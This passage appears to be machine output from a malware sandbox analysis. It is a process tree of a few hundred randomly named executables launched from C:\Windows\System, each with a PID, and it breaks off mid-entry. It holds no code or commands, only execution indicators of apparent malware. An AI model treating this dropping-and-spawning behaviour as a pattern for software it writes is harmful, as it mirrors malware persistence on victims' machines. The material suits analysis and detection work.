- C:\Windows\System\sGlfaLT.exe
  C:\Windows\System\sGlfaLT.exe
  2⤵
  PID:5780
- C:\Windows\System\WTOgIDZ.exe
  C:\Windows\System\WTOgIDZ.exe
  2⤵
  PID:4452
- C:\Windows\System\nLSrBWE.exe
  C:\Windows\System\nLSrBWE.exe
  2⤵
  PID:5332
- C:\Windows\System\seZsERz.exe
  C:\Windows\System\seZsERz.exe
  2⤵
  PID:5476
- C:\Windows\System\bAQbwmX.exe
  C:\Windows\System\bAQbwmX.exe
  2⤵
  PID:5160
- C:\Windows\System\xMKbSsS.exe
  C:\Windows\System\xMKbSsS.exe
  2⤵
  PID:3120
- C:\Windows\System\hWHaAZV.exe
  C:\Windows\System\hWHaAZV.exe
  2⤵
  PID:5656
- C:\Windows\System\hMCVRyW.exe
  C:\Windows\System\hMCVRyW.exe
  2⤵
  PID:5676
- C:\Windows\System\fIHiupM.exe
  C:\Windows\System\fIHiupM.exe
  2⤵
  PID:5716
- C:\Windows\System\HWSClaP.exe
  C:\Windows\System\HWSClaP.exe
  2⤵
  PID:5828
- C:\Windows\System\pIsxYZl.exe
  C:\Windows\System\pIsxYZl.exe
  2⤵
  PID:5452
- C:\Windows\System\UJWGBPG.exe
  C:\Windows\System\UJWGBPG.exe
  2⤵
  PID:5912
- C:\Windows\System\uWhOvla.exe
  C:\Windows\System\uWhOvla.exe
  2⤵
  PID:5244
- C:\Windows\System\pVpiIfm.exe
  C:\Windows\System\pVpiIfm.exe
  2⤵
  PID:5232
- C:\Windows\System\XScCheo.exe
  C:\Windows\System\XScCheo.exe
  2⤵
  PID:6120
- C:\Windows\System\SyplQrZ.exe
  C:\Windows\System\SyplQrZ.exe
  2⤵
  PID:6088
- C:\Windows\System\cGItgSS.exe
  C:\Windows\System\cGItgSS.exe
  2⤵
  PID:2772
- C:\Windows\System\bUgTPtn.exe
  C:\Windows\System\bUgTPtn.exe
  2⤵
  PID:5132
- C:\Windows\System\iTQqcrj.exe
  C:\Windows\System\iTQqcrj.exe
  2⤵
  PID:5792
- C:\Windows\System\LwJerzN.exe
  C:\Windows\System\LwJerzN.exe
  2⤵
  PID:5300
- C:\Windows\System\zsmKVeE.exe
  C:\Windows\System\zsmKVeE.exe
  2⤵
  PID:5548
- C:\Windows\System\jkJSPqt.exe
  C:\Windows\System\jkJSPqt.exe
  2⤵
  PID:5756
- C:\Windows\System\AlDrhNY.exe
  C:\Windows\System\AlDrhNY.exe
  2⤵
  PID:5848
- C:\Windows\System\VhouafH.exe
  C:\Windows\System\VhouafH.exe
  2⤵
  PID:5896
- C:\Windows\System\UUtalOi.exe
  C:\Windows\System\UUtalOi.exe
  2⤵
  PID:5272
- C:\Windows\System\SbPsWlt.exe
  C:\Windows\System\SbPsWlt.exe
  2⤵
  PID:6104
- C:\Windows\System\NKWuxwH.exe
  C:\Windows\System\NKWuxwH.exe
  2⤵
  PID:5276
- C:\Windows\System\BcfphYX.exe
  C:\Windows\System\BcfphYX.exe
  2⤵
  PID:5816
- C:\Windows\System\dkaIdbA.exe
  C:\Windows\System\dkaIdbA.exe
  2⤵
  PID:5948
- C:\Windows\System\NWckeqS.exe
  C:\Windows\System\NWckeqS.exe
  2⤵
  PID:4952
- C:\Windows\System\XNsNijT.exe
  C:\Windows\System\XNsNijT.exe
  2⤵
  PID:6152
- C:\Windows\System\idSMXin.exe
  C:\Windows\System\idSMXin.exe
  2⤵
  PID:6168
- C:\Windows\System\ganFvav.exe
  C:\Windows\System\ganFvav.exe
  2⤵
  PID:6184
- C:\Windows\System\LIUIzEL.exe
  C:\Windows\System\LIUIzEL.exe
  2⤵
  PID:6200
- C:\Windows\System\cUGFgzI.exe
  C:\Windows\System\cUGFgzI.exe
  2⤵
  PID:6216
- C:\Windows\System\nwJodEO.exe
  C:\Windows\System\nwJodEO.exe
  2⤵
  PID:6232
- C:\Windows\System\tfhWCbl.exe
  C:\Windows\System\tfhWCbl.exe
  2⤵
  PID:6252
- C:\Windows\System\TvxGYXY.exe
  C:\Windows\System\TvxGYXY.exe
  2⤵
  PID:6268
- C:\Windows\System\IVJmgLn.exe
  C:\Windows\System\IVJmgLn.exe
  2⤵
  PID:6288
- C:\Windows\System\dozleBR.exe
  C:\Windows\System\dozleBR.exe
  2⤵
  PID:6308
- C:\Windows\System\tMEQJTL.exe
  C:\Windows\System\tMEQJTL.exe
  2⤵
  PID:6424
- C:\Windows\System\BCPZPyV.exe
  C:\Windows\System\BCPZPyV.exe
  2⤵
  PID:6440
- C:\Windows\System\LEookhQ.exe
  C:\Windows\System\LEookhQ.exe
  2⤵
  PID:6512
- C:\Windows\System\jcyDnYM.exe
  C:\Windows\System\jcyDnYM.exe
  2⤵
  PID:6544
- C:\Windows\System\ZvMKbJk.exe
  C:\Windows\System\ZvMKbJk.exe
  2⤵
  PID:6560
- C:\Windows\System\CPNKDXD.exe
  C:\Windows\System\CPNKDXD.exe
  2⤵
  PID:6576
- C:\Windows\System\dLdznUe.exe
  C:\Windows\System\dLdznUe.exe
  2⤵
  PID:6596
- C:\Windows\System\eMBBSsE.exe
  C:\Windows\System\eMBBSsE.exe
  2⤵
  PID:6612
- C:\Windows\System\wYleHFh.exe
  C:\Windows\System\wYleHFh.exe
  2⤵
  PID:6628
- C:\Windows\System\XSVysow.exe
  C:\Windows\System\XSVysow.exe
  2⤵
  PID:6648
- C:\Windows\System\hDnhOMW.exe
  C:\Windows\System\hDnhOMW.exe
  2⤵
  PID:6664
- C:\Windows\System\xorICFu.exe
  C:\Windows\System\xorICFu.exe
  2⤵
  PID:6680
- C:\Windows\System\oPFHdMH.exe
  C:\Windows\System\oPFHdMH.exe
  2⤵
  PID:6696
- C:\Windows\System\mPqEnOT.exe
  C:\Windows\System\mPqEnOT.exe
  2⤵
  PID:6712
- C:\Windows\System\AJUpoiO.exe
  C:\Windows\System\AJUpoiO.exe
  2⤵
  PID:6732
- C:\Windows\System\ykKfySb.exe
  C:\Windows\System\ykKfySb.exe
  2⤵
  PID:6748
- C:\Windows\System\XqNZTPg.exe
  C:\Windows\System\XqNZTPg.exe
  2⤵
  PID:6764
- C:\Windows\System\fKAvqWz.exe
  C:\Windows\System\fKAvqWz.exe
  2⤵
  PID:6780
- C:\Windows\System\gzDQsXr.exe
  C:\Windows\System\gzDQsXr.exe
  2⤵
  PID:6796
- C:\Windows\System\otwGzif.exe
  C:\Windows\System\otwGzif.exe
  2⤵
  PID:6812
- C:\Windows\System\CBguTAO.exe
  C:\Windows\System\CBguTAO.exe
  2⤵
  PID:6828
- C:\Windows\System\tPunOvo.exe
  C:\Windows\System\tPunOvo.exe
  2⤵
  PID:6844
- C:\Windows\System\kefvpPj.exe
  C:\Windows\System\kefvpPj.exe
  2⤵
  PID:6860
- C:\Windows\System\gRQgZmd.exe
  C:\Windows\System\gRQgZmd.exe
  2⤵
  PID:6876
- C:\Windows\System\BxcXrjO.exe
  C:\Windows\System\BxcXrjO.exe
  2⤵
  PID:6896
- C:\Windows\System\WWuhuNw.exe
  C:\Windows\System\WWuhuNw.exe
  2⤵
  PID:6912
- C:\Windows\System\nLBBpoF.exe
  C:\Windows\System\nLBBpoF.exe
  2⤵
  PID:6928
- C:\Windows\System\vJQDYsv.exe
  C:\Windows\System\vJQDYsv.exe
  2⤵
  PID:6944
- C:\Windows\System\PidOWfn.exe
  C:\Windows\System\PidOWfn.exe
  2⤵
  PID:6960
- C:\Windows\System\QGqUfgu.exe
  C:\Windows\System\QGqUfgu.exe
  2⤵
  PID:6976
- C:\Windows\System\ACphoNf.exe
  C:\Windows\System\ACphoNf.exe
  2⤵
  PID:7000
- C:\Windows\System\iwmZsip.exe
  C:\Windows\System\iwmZsip.exe
  2⤵
  PID:7020
- C:\Windows\System\FYoROgu.exe
  C:\Windows\System\FYoROgu.exe
  2⤵
  PID:7040
- C:\Windows\System\TJcPtoN.exe
  C:\Windows\System\TJcPtoN.exe
  2⤵
  PID:7068
- C:\Windows\System\dkurtgN.exe
  C:\Windows\System\dkurtgN.exe
  2⤵
  PID:7092
- C:\Windows\System\YYbONWR.exe
  C:\Windows\System\YYbONWR.exe
  2⤵
  PID:7112
- C:\Windows\System\qtfbvAm.exe
  C:\Windows\System\qtfbvAm.exe
  2⤵
  PID:7132
- C:\Windows\System\dAKGlqU.exe
  C:\Windows\System\dAKGlqU.exe
  2⤵
  PID:7148
- C:\Windows\System\jEsFpFF.exe
  C:\Windows\System\jEsFpFF.exe
  2⤵
  PID:6116
- C:\Windows\System\thanHGt.exe
  C:\Windows\System\thanHGt.exe
  2⤵
  PID:5604
- C:\Windows\System\LwDEzwx.exe
  C:\Windows\System\LwDEzwx.exe
  2⤵
  PID:6032
- C:\Windows\System\WGUHlBy.exe
  C:\Windows\System\WGUHlBy.exe
  2⤵
  PID:5624
- C:\Windows\System\YnOJpEX.exe
  C:\Windows\System\YnOJpEX.exe
  2⤵
  PID:5252
- C:\Windows\System\SeZgpLQ.exe
  C:\Windows\System\SeZgpLQ.exe
  2⤵
  PID:6164
- C:\Windows\System\pLoHZLU.exe
  C:\Windows\System\pLoHZLU.exe
  2⤵
  PID:6228
- C:\Windows\System\RjYorlW.exe
  C:\Windows\System\RjYorlW.exe
  2⤵
  PID:6300
- C:\Windows\System\GemQJFg.exe
  C:\Windows\System\GemQJFg.exe
  2⤵
  PID:6020
- C:\Windows\System\pccRUUL.exe
  C:\Windows\System\pccRUUL.exe
  2⤵
  PID:5736
- C:\Windows\System\WyUSSFR.exe
  C:\Windows\System\WyUSSFR.exe
  2⤵
  PID:6348
- C:\Windows\System\ehvETal.exe
  C:\Windows\System\ehvETal.exe
  2⤵
  PID:6340
- C:\Windows\System\tSFVzSk.exe
  C:\Windows\System\tSFVzSk.exe
  2⤵
  PID:6316
- C:\Windows\System\VTFbljD.exe
  C:\Windows\System\VTFbljD.exe
  2⤵
  PID:6148
- C:\Windows\System\cpcXFkR.exe
  C:\Windows\System\cpcXFkR.exe
  2⤵
  PID:5316
- C:\Windows\System\hSOVHJd.exe
  C:\Windows\System\hSOVHJd.exe
  2⤵
  PID:5572
- C:\Windows\System\PnpFmFl.exe
  C:\Windows\System\PnpFmFl.exe
  2⤵
  PID:5372
- C:\Windows\System\zypQAuy.exe
  C:\Windows\System\zypQAuy.exe
  2⤵
  PID:4892
- C:\Windows\System\EjIjMJI.exe
  C:\Windows\System\EjIjMJI.exe
  2⤵
  PID:6412
- C:\Windows\System\jKuhrfl.exe
  C:\Windows\System\jKuhrfl.exe
  2⤵
  PID:6404
- C:\Windows\System\UrkzFdt.exe
  C:\Windows\System\UrkzFdt.exe
  2⤵
  PID:6392
- C:\Windows\System\FpByVSB.exe
  C:\Windows\System\FpByVSB.exe
  2⤵
  PID:6452
- C:\Windows\System\CyoGvaX.exe
  C:\Windows\System\CyoGvaX.exe
  2⤵
  PID:6464
- C:\Windows\System\yvuitTP.exe
  C:\Windows\System\yvuitTP.exe
  2⤵
  PID:6492
- C:\Windows\System\wuamCMG.exe
  C:\Windows\System\wuamCMG.exe
  2⤵
  PID:6508
- C:\Windows\System\eoaMOdX.exe
  C:\Windows\System\eoaMOdX.exe
  2⤵
  PID:6532
- C:\Windows\System\REhMXvJ.exe
  C:\Windows\System\REhMXvJ.exe
  2⤵
  PID:6672
- C:\Windows\System\giSzrTp.exe
  C:\Windows\System\giSzrTp.exe
  2⤵
  PID:6604
- C:\Windows\System\lZWEtbd.exe
  C:\Windows\System\lZWEtbd.exe
  2⤵
  PID:6744
- C:\Windows\System\Fnrkpds.exe
  C:\Windows\System\Fnrkpds.exe
  2⤵
  PID:6776
- C:\Windows\System\uhgeNcg.exe
  C:\Windows\System\uhgeNcg.exe
  2⤵
  PID:6836
- C:\Windows\System\jmmDebl.exe
  C:\Windows\System\jmmDebl.exe
  2⤵
  PID:6904
- C:\Windows\System\tTUcfCG.exe
  C:\Windows\System\tTUcfCG.exe
  2⤵
  PID:6908
- C:\Windows\System\DQXZEOy.exe
  C:\Windows\System\DQXZEOy.exe
  2⤵
  PID:6936
- C:\Windows\System\CVCsTDu.exe
  C:\Windows\System\CVCsTDu.exe
  2⤵
  PID:6584
- C:\Windows\System\CTUFufz.exe
  C:\Windows\System\CTUFufz.exe
  2⤵
  PID:7140
- C:\Windows\System\nPbYlhS.exe
  C:\Windows\System\nPbYlhS.exe
  2⤵
  PID:7052
- C:\Windows\System\bctswgE.exe
  C:\Windows\System\bctswgE.exe
  2⤵
  PID:5536
- C:\Windows\System\IHTqwjJ.exe
  C:\Windows\System\IHTqwjJ.exe
  2⤵
  PID:6264
- C:\Windows\System\LXDpEsy.exe
  C:\Windows\System\LXDpEsy.exe
  2⤵
  PID:6344
- C:\Windows\System\wjvvqyS.exe
  C:\Windows\System\wjvvqyS.exe
  2⤵
  PID:6788
- C:\Windows\System\iSCttaK.exe
  C:\Windows\System\iSCttaK.exe
  2⤵
  PID:7032
- C:\Windows\System\vLcOOjI.exe
  C:\Windows\System\vLcOOjI.exe
  2⤵
  PID:7120
- C:\Windows\System\SgoJiwZ.exe
  C:\Windows\System\SgoJiwZ.exe
  2⤵
  PID:7156
- C:\Windows\System\eQTceWW.exe
  C:\Windows\System\eQTceWW.exe
  2⤵
  PID:4656
- C:\Windows\System\thuAuSM.exe
  C:\Windows\System\thuAuSM.exe
  2⤵
  PID:6688
- C:\Windows\System\CulVMhi.exe
  C:\Windows\System\CulVMhi.exe
  2⤵
  PID:6180
- C:\Windows\System\urEaRCo.exe
  C:\Windows\System\urEaRCo.exe
  2⤵
  PID:6852
- C:\Windows\System\rSVhJcf.exe
  C:\Windows\System\rSVhJcf.exe
  2⤵
  PID:6920
- C:\Windows\System\zHdmeAa.exe
  C:\Windows\System\zHdmeAa.exe
  2⤵
  PID:6956
- C:\Windows\System\UsDrHVe.exe
  C:\Windows\System\UsDrHVe.exe
  2⤵
  PID:7028
- C:\Windows\System\CoLaqoe.exe
  C:\Windows\System\CoLaqoe.exe
  2⤵
  PID:6760
- C:\Windows\System\stSrTiK.exe
  C:\Windows\System\stSrTiK.exe
  2⤵
  PID:6328
- C:\Windows\System\oNuDJRG.exe
  C:\Windows\System\oNuDJRG.exe
  2⤵
  PID:5720
- C:\Windows\System\zuhMNUT.exe
  C:\Windows\System\zuhMNUT.exe
  2⤵
  PID:6432
- C:\Windows\System\qchrtXv.exe
  C:\Windows\System\qchrtXv.exe
  2⤵
  PID:6484
- C:\Windows\System\xbmKxoD.exe
  C:\Windows\System\xbmKxoD.exe
  2⤵
  PID:5408
- C:\Windows\System\XXrPRCr.exe
  C:\Windows\System\XXrPRCr.exe
  2⤵
  PID:7048
- C:\Windows\System\LYyyoxE.exe
  C:\Windows\System\LYyyoxE.exe
  2⤵
  PID:6460
- C:\Windows\System\gtgKMPa.exe
  C:\Windows\System\gtgKMPa.exe
  2⤵
  PID:6320
- C:\Windows\System\eqZmqIs.exe
  C:\Windows\System\eqZmqIs.exe
  2⤵
  PID:7104
- C:\Windows\System\fvAwqEp.exe
  C:\Windows\System\fvAwqEp.exe
  2⤵
  PID:6284
- C:\Windows\System\DyCvKIq.exe
  C:\Windows\System\DyCvKIq.exe
  2⤵
  PID:6624
- C:\Windows\System\Erqcimr.exe
  C:\Windows\System\Erqcimr.exe
  2⤵
  PID:6212
- C:\Windows\System\LqopWPY.exe
  C:\Windows\System\LqopWPY.exe
  2⤵
  PID:7128
- C:\Windows\System\dmAdZGI.exe
  C:\Windows\System\dmAdZGI.exe
  2⤵
  PID:6420
- C:\Windows\System\pjdBHlB.exe
  C:\Windows\System\pjdBHlB.exe
  2⤵
  PID:6740
- C:\Windows\System\CyBTdIW.exe
  C:\Windows\System\CyBTdIW.exe
  2⤵
  PID:6988
- C:\Windows\System\CKujxJi.exe
  C:\Windows\System\CKujxJi.exe
  2⤵
  PID:6400
- C:\Windows\System\kPuGXJV.exe
  C:\Windows\System\kPuGXJV.exe
  2⤵
  PID:6884
- C:\Windows\System\nJGDvsc.exe
  C:\Windows\System\nJGDvsc.exe
  2⤵
  PID:6620
- C:\Windows\System\ttHTAaQ.exe
  C:\Windows\System\ttHTAaQ.exe
  2⤵
  PID:7012
- C:\Windows\System\HvIuqWp.exe
  C:\Windows\System\HvIuqWp.exe
  2⤵
  PID:6868
- C:\Windows\System\tlyyRBO.exe
  C:\Windows\System\tlyyRBO.exe
  2⤵
  PID:6572
- C:\Windows\System\PLikjGh.exe
  C:\Windows\System\PLikjGh.exe
  2⤵
  PID:6704
- C:\Windows\System\nVEDLSk.exe
  C:\Windows\System\nVEDLSk.exe
  2⤵
  PID:6384
- C:\Windows\System\CEWXcYB.exe
  C:\Windows\System\CEWXcYB.exe
  2⤵
  PID:6872
- C:\Windows\System\ofXyWQZ.exe
  C:\Windows\System\ofXyWQZ.exe
  2⤵
  PID:6368
- C:\Windows\System\FJvmwcC.exe
  C:\Windows\System\FJvmwcC.exe
  2⤵
  PID:7160
- C:\Windows\System\rOzYsNi.exe
  C:\Windows\System\rOzYsNi.exe
  2⤵
  PID:7060
- C:\Windows\System\VRAlKAR.exe
  C:\Windows\System\VRAlKAR.exe
  2⤵
  PID:7184
- C:\Windows\System\IozYoZZ.exe
  C:\Windows\System\IozYoZZ.exe
  2⤵
  PID:7204
- C:\Windows\System\WfozVrr.exe
  C:\Windows\System\WfozVrr.exe
  2⤵
  PID:7220
- C:\Windows\System\IHiVYJc.exe
  C:\Windows\System\IHiVYJc.exe
  2⤵
  PID:7236
- C:\Windows\System\yoIEYTa.exe
  C:\Windows\System\yoIEYTa.exe
  2⤵
  PID:7252
- C:\Windows\System\tvigSqm.exe
  C:\Windows\System\tvigSqm.exe
  2⤵
  PID:7268
- C:\Windows\System\hmkmKxZ.exe
  C:\Windows\System\hmkmKxZ.exe
  2⤵
  PID:7284
- C:\Windows\System\PUzbTJb.exe
  C:\Windows\System\PUzbTJb.exe
  2⤵
  PID:7300
- C:\Windows\System\fWsYVkn.exe
  C:\Windows\System\fWsYVkn.exe
  2⤵
  PID:7316
- C:\Windows\System\AiqGpZF.exe
  C:\Windows\System\AiqGpZF.exe
  2⤵
  PID:7332
- C:\Windows\System\nlOhHWs.exe
  C:\Windows\System\nlOhHWs.exe
  2⤵
  PID:7444
- C:\Windows\System\HnDYVgZ.exe
  C:\Windows\System\HnDYVgZ.exe
  2⤵
  PID:7464
- C:\Windows\System\kcjwsxe.exe
  C:\Windows\System\kcjwsxe.exe
  2⤵
  PID:7480
- C:\Windows\System\pCTyIfN.exe
  C:\Windows\System\pCTyIfN.exe
  2⤵
  PID:7496
- C:\Windows\System\jRyFhEL.exe
  C:\Windows\System\jRyFhEL.exe
  2⤵
  PID:7512
- C:\Windows\System\YBvldAy.exe
  C:\Windows\System\YBvldAy.exe
  2⤵
  PID:7528
- C:\Windows\System\crmbRzE.exe
  C:\Windows\System\crmbRzE.exe
  2⤵
  PID:7544
- C:\Windows\System\xnNMhLX.exe
  C:\Windows\System\xnNMhLX.exe
  2⤵
  PID:7564
- C:\Windows\System\DOyoDbp.exe
  C:\Windows\System\DOyoDbp.exe
  2⤵
  PID:7580
- C:\Windows\System\CCoIwPO.exe
  C:\Windows\System\CCoIwPO.exe
  2⤵
  PID:7596
- C:\Windows\System\hICWmKl.exe
  C:\Windows\System\hICWmKl.exe
  2⤵
  PID:7612
- C:\Windows\System\dgfxGJX.exe
  C:\Windows\System\dgfxGJX.exe
  2⤵
  PID:7628
- C:\Windows\System\tdufemX.exe
  C:\Windows\System\tdufemX.exe
  2⤵
  PID:7644
- C:\Windows\System\fXESxIn.exe
  C:\Windows\System\fXESxIn.exe
  2⤵
  PID:7660
- C:\Windows\System\yANpJRh.exe
  C:\Windows\System\yANpJRh.exe
  2⤵
  PID:7676
- C:\Windows\System\XKKqAjd.exe
  C:\Windows\System\XKKqAjd.exe
  2⤵
  PID:7692
- C:\Windows\System\VtWolxJ.exe
  C:\Windows\System\VtWolxJ.exe
  2⤵
  PID:7708
- C:\Windows\System\yWDepPK.exe
  C:\Windows\System\yWDepPK.exe
  2⤵
  PID:7724
- C:\Windows\System\urlcOSZ.exe
  C:\Windows\System\urlcOSZ.exe
  2⤵
  PID:7740
- C:\Windows\System\FNDMZNP.exe
  C:\Windows\System\FNDMZNP.exe
  2⤵
  PID:7756
- C:\Windows\System\LMbrAGT.exe
  C:\Windows\System\LMbrAGT.exe
  2⤵
  PID:7772
- C:\Windows\System\aTBJYkq.exe
  C:\Windows\System\aTBJYkq.exe
  2⤵
  PID:7788
- C:\Windows\System\YGTxWTJ.exe
  C:\Windows\System\YGTxWTJ.exe
  2⤵
  PID:7804
- C:\Windows\System\bKHapRf.exe
  C:\Windows\System\bKHapRf.exe
  2⤵
  PID:7820
- C:\Windows\System\CWhRxeP.exe
  C:\Windows\System\CWhRxeP.exe
  2⤵
  PID:7836
- C:\Windows\System\QbhNpWF.exe
  C:\Windows\System\QbhNpWF.exe
  2⤵
  PID:7852
- C:\Windows\System\uFVHEEK.exe
  C:\Windows\System\uFVHEEK.exe
  2⤵
  PID:7868
- C:\Windows\System\MtMBiAh.exe
  C:\Windows\System\MtMBiAh.exe
  2⤵
  PID:7884
- C:\Windows\System\wLShcdG.exe
  C:\Windows\System\wLShcdG.exe
  2⤵
  PID:7900
- C:\Windows\System\KKHevAu.exe
  C:\Windows\System\KKHevAu.exe
  2⤵
  PID:7916
- C:\Windows\System\JrbkvoR.exe
  C:\Windows\System\JrbkvoR.exe
  2⤵
  PID:7932
- C:\Windows\System\VcCFBiN.exe
  C:\Windows\System\VcCFBiN.exe
  2⤵
  PID:7948
- C:\Windows\System\nxnDVlV.exe
  C:\Windows\System\nxnDVlV.exe
  2⤵
  PID:7964
- C:\Windows\System\yAqlumk.exe
  C:\Windows\System\yAqlumk.exe
  2⤵
  PID:7980
- C:\Windows\System\wfaDswf.exe
  C:\Windows\System\wfaDswf.exe
  2⤵
  PID:7996
- C:\Windows\System\UCECjUE.exe
  C:\Windows\System\UCECjUE.exe
  2⤵
  PID:8012
- C:\Windows\System\leWiHsh.exe
  C:\Windows\System\leWiHsh.exe
  2⤵
  PID:8028
- C:\Windows\System\yCHXTVc.exe
  C:\Windows\System\yCHXTVc.exe
  2⤵
  PID:8044
- C:\Windows\System\ZNAbIyJ.exe
  C:\Windows\System\ZNAbIyJ.exe
  2⤵
  PID:8060
- C:\Windows\System\htXpExS.exe
  C:\Windows\System\htXpExS.exe
  2⤵
  PID:8076
- C:\Windows\System\eKEzQAb.exe
  C:\Windows\System\eKEzQAb.exe
  2⤵
  PID:8092
- C:\Windows\System\LZYlfkJ.exe
  C:\Windows\System\LZYlfkJ.exe
  2⤵
  PID:8108
- C:\Windows\System\kKzowOe.exe
  C:\Windows\System\kKzowOe.exe
  2⤵
  PID:8124
- C:\Windows\System\BBOqhAf.exe
  C:\Windows\System\BBOqhAf.exe
  2⤵
  PID:8140
- C:\Windows\System\ygvCMJv.exe
  C:\Windows\System\ygvCMJv.exe
  2⤵
  PID:8156
- C:\Windows\System\Ynarian.exe
  C:\Windows\System\Ynarian.exe
  2⤵
  PID:8172
- C:\Windows\System\TVepEiE.exe
  C:\Windows\System\TVepEiE.exe
  2⤵
  PID:8188
- C:\Windows\System\LlyrpJp.exe
  C:\Windows\System\LlyrpJp.exe
  2⤵
  PID:6644
- C:\Windows\System\HNILFZD.exe
  C:\Windows\System\HNILFZD.exe
  2⤵
  PID:5496
- C:\Windows\System\ZzHitjj.exe
  C:\Windows\System\ZzHitjj.exe
  2⤵
  PID:6528
- C:\Windows\System\kIxMwiW.exe
  C:\Windows\System\kIxMwiW.exe
  2⤵
  PID:6968
- C:\Windows\System\hTMGLUR.exe
  C:\Windows\System\hTMGLUR.exe
  2⤵
  PID:7108
- C:\Windows\System\FnIAFVq.exe
  C:\Windows\System\FnIAFVq.exe
  2⤵
  PID:7200
- C:\Windows\System\QKksSPp.exe
  C:\Windows\System\QKksSPp.exe
  2⤵
  PID:6376
- C:\Windows\System\hPYnveO.exe
  C:\Windows\System\hPYnveO.exe
  2⤵
  PID:7080
- C:\Windows\System\vBWmbVM.exe
  C:\Windows\System\vBWmbVM.exe
  2⤵
  PID:7196
- C:\Windows\System\IkgzDyX.exe
  C:\Windows\System\IkgzDyX.exe
  2⤵
  PID:7328
- C:\Windows\System\qGQcBvl.exe
  C:\Windows\System\qGQcBvl.exe
  2⤵
  PID:6280
- C:\Windows\System\gPVAGhK.exe
  C:\Windows\System\gPVAGhK.exe
  2⤵
  PID:7180
- C:\Windows\System\MNSYkwk.exe
  C:\Windows\System\MNSYkwk.exe
  2⤵
  PID:7312
- C:\Windows\System\URiRkUS.exe
  C:\Windows\System\URiRkUS.exe
  2⤵
  PID:7352
- C:\Windows\System\nYTZFkV.exe
  C:\Windows\System\nYTZFkV.exe
  2⤵
  PID:7368
- C:\Windows\System\svQqtNC.exe
  C:\Windows\System\svQqtNC.exe
  2⤵
  PID:7420
- C:\Windows\System\nWAgiIH.exe
  C:\Windows\System\nWAgiIH.exe
  2⤵
  PID:6356
- C:\Windows\System\JNTPbGW.exe
  C:\Windows\System\JNTPbGW.exe
  2⤵
  PID:7276
- C:\Windows\System\zvNQmMY.exe
  C:\Windows\System\zvNQmMY.exe
  2⤵
  PID:7396
- C:\Windows\System\QOZTeXj.exe
  C:\Windows\System\QOZTeXj.exe
  2⤵
  PID:7432
- C:\Windows\System\sRbxLEw.exe
  C:\Windows\System\sRbxLEw.exe
  2⤵
  PID:7488
- C:\Windows\System\RfhAAge.exe
  C:\Windows\System\RfhAAge.exe
  2⤵
  PID:7520
- C:\Windows\System\SgzwdID.exe
  C:\Windows\System\SgzwdID.exe
  2⤵
  PID:7560
- C:\Windows\System\JnHADdj.exe
  C:\Windows\System\JnHADdj.exe
  2⤵
  PID:7476
- C:\Windows\System\UHqaYhf.exe
  C:\Windows\System\UHqaYhf.exe
  2⤵
  PID:7620
- C:\Windows\System\DvSogJy.exe
  C:\Windows\System\DvSogJy.exe
  2⤵
  PID:7640
- C:\Windows\System\HjmSwyR.exe
  C:\Windows\System\HjmSwyR.exe
  2⤵
  PID:7720
- C:\Windows\System\oUhbuPc.exe
  C:\Windows\System\oUhbuPc.exe
  2⤵
  PID:7704
- C:\Windows\System\sktsNQg.exe
  C:\Windows\System\sktsNQg.exe
  2⤵
  PID:7764
- C:\Windows\System\fZEsetc.exe
  C:\Windows\System\fZEsetc.exe
  2⤵
  PID:7876
- C:\Windows\System\hcUNnvl.exe
  C:\Windows\System\hcUNnvl.exe
  2⤵
  PID:7832
- C:\Windows\System\rWmVlCA.exe
  C:\Windows\System\rWmVlCA.exe
  2⤵
  PID:7912
- C:\Windows\System\FIdecAM.exe
  C:\Windows\System\FIdecAM.exe
  2⤵
  PID:7944
- C:\Windows\System\GacYKtw.exe
  C:\Windows\System\GacYKtw.exe
  2⤵
  PID:7976
- C:\Windows\System\GNKWPuT.exe
  C:\Windows\System\GNKWPuT.exe
  2⤵
  PID:7988
- C:\Windows\System\RcoWVec.exe
  C:\Windows\System\RcoWVec.exe
  2⤵
  PID:8024
- C:\Windows\System\HOgslpH.exe
  C:\Windows\System\HOgslpH.exe
  2⤵
  PID:8104
- C:\Windows\System\IpjIqnn.exe
  C:\Windows\System\IpjIqnn.exe
  2⤵
  PID:8168
- C:\Windows\System\AfqCUrl.exe
  C:\Windows\System\AfqCUrl.exe
  2⤵
  PID:8052
- C:\Windows\System\EHkdvnd.exe
  C:\Windows\System\EHkdvnd.exe
  2⤵
  PID:8120
- C:\Windows\System\bsDWvvk.exe
  C:\Windows\System\bsDWvvk.exe
  2⤵
  PID:6984
- C:\Windows\System\blvoXES.exe
  C:\Windows\System\blvoXES.exe
  2⤵
  PID:6248
- C:\Windows\System\CJqkrdi.exe
  C:\Windows\System\CJqkrdi.exe
  2⤵
  PID:6360
- C:\Windows\System\UzNXrTe.exe
  C:\Windows\System\UzNXrTe.exe
  2⤵
  PID:7292
- C:\Windows\System\qJmXUuL.exe
  C:\Windows\System\qJmXUuL.exe
  2⤵
  PID:7324
- C:\Windows\System\aLEOlmp.exe
  C:\Windows\System\aLEOlmp.exe
  2⤵
  PID:7248
- C:\Windows\System\tRqPOzb.exe
  C:\Windows\System\tRqPOzb.exe
  2⤵
  PID:7416
- C:\Windows\System\gkkiVmE.exe
  C:\Windows\System\gkkiVmE.exe
  2⤵
  PID:7384
- C:\Windows\System\srLmnlD.exe
  C:\Windows\System\srLmnlD.exe
  2⤵
  PID:7492
- C:\Windows\System\ddTagWv.exe
  C:\Windows\System\ddTagWv.exe
  2⤵
  PID:7176
- C:\Windows\System\URprSUh.exe
  C:\Windows\System\URprSUh.exe
  2⤵
  PID:6888
- C:\Windows\System\ZhtbywC.exe
  C:\Windows\System\ZhtbywC.exe
  2⤵
  PID:7372
- C:\Windows\System\MRkSBFT.exe
  C:\Windows\System\MRkSBFT.exe
  2⤵
  PID:7440
- C:\Windows\System\fbMIcoI.exe
  C:\Windows\System\fbMIcoI.exe
  2⤵
  PID:7572
- C:\Windows\System\WxrilyH.exe
  C:\Windows\System\WxrilyH.exe
  2⤵
  PID:7636
- C:\Windows\System\OHDaSbT.exe
  C:\Windows\System\OHDaSbT.exe
  2⤵
  PID:7796
- C:\Windows\System\VjRVrRZ.exe
  C:\Windows\System\VjRVrRZ.exe
  2⤵
  PID:7800
- C:\Windows\System\JxJqRBD.exe
  C:\Windows\System\JxJqRBD.exe
  2⤵
  PID:7924
- C:\Windows\System\sxFOpbT.exe
  C:\Windows\System\sxFOpbT.exe
  2⤵
  PID:7928
- C:\Windows\System\YZJZBzg.exe
  C:\Windows\System\YZJZBzg.exe
  2⤵
  PID:8008
- C:\Windows\System\snhvsyK.exe
  C:\Windows\System\snhvsyK.exe
  2⤵
  PID:8100
- C:\Windows\System\WZhhUeC.exe
